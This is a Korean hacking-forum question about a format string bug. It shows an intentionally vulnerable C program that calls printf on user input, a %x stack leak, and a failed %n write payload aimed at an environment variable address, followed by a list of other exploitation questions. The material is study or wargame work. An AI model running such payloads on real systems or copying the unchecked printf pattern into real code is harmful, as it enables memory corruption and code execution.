시스템 해킹

 1574, 6/79 회원가입  로그인  
   ewqqw
   format string 버퍼오버플로우

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1868 [복사]



#include <stdio.h>
#include <string.h>



int main(int argc,char *argv[]) {
        char buf1[100];

        strncpy(buf1,argv[1],100);

        printf(argv[2]);

        return 0;
}

formatstr@ubuntu:~$ ./formatstr AAAA '%x%x%x%x%x%x%x'
bffff7c3640bffff614bffff588bffff58041414141

format : 0xbffffe9f  <-- 환경변수[format] 주소

여기에서 ./formatstr AAAA\x9f\xfe\xff\xbfAAAA\xa1\xfe\xff\xbfAAAA%8x%8x%8x%8x%8x%8x%65054c%n%49565c%n 이렇게 했는데....

안되네요.. ㅠㅠ
  Hit : 2064     Date : 2017/04/22 04:34


    
1474   uaf 취약점 ,메모리 릭 관련 문제[2]     pkdo1030
 07/15 2423
1473   r0pbabay 를 푸는데....[1]     ewqqw
 07/07 1934
1472   시스템 해킹강좌 21강부터 자료 부탁드려도 될까요?     sexissports
 06/23 2398
1471   c언어 함수 정의중에...     vngkv123
 06/20 2106
1470   checksec, ELF기능, 그외 질문....     vngkv123
 06/14 2238
1469   pwnable과 실전 시스템 해킹의 차이[2]     choboKing
 06/11 4365
1468   ret2kernel32? (윈도우 ret2libc)[3]     choboKing
 06/11 2135
1467   ulimit -f 관련하여 질문드려봅니당     vngkv123
 06/01 2060
1466   쉘코드를 이용해서 bof 를 할때[4]     tkakr7458
 05/22 2554
1465   unlink매크로에서 P....[5]     vngkv123
 05/12 2228
1464   heap에서 unsafe unlink가 조금 이해가 안되네용 ㅠ[6]     vngkv123
 05/10 3954
1463   heap에서 bin관련[3]     vngkv123
 04/30 2382
1462   codegate nuclear문제 중 libc leak질문..[3]     vngkv123
 04/27 3045
1461   fgets함수를 이용한 버퍼오버플로우     ewqqw
 04/23 3792
  format string 버퍼오버플로우     ewqqw
 04/22 2063
1459   angry_doraemon같은 문제 로컬등록..     vngkv123
 04/22 2449
1458   버퍼오버플로우 관련[1]     ewqqw
 04/21 2194
1457   버퍼 오버플로우 관련[2]     ewqqw
 04/20 2136
1456   format string bug + got overwite[3]     tkakr7458
 04/19 2377
1455   python z3....[2]     vngkv123
 04/19 3030
[1][2][3][4][5] 6 [7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org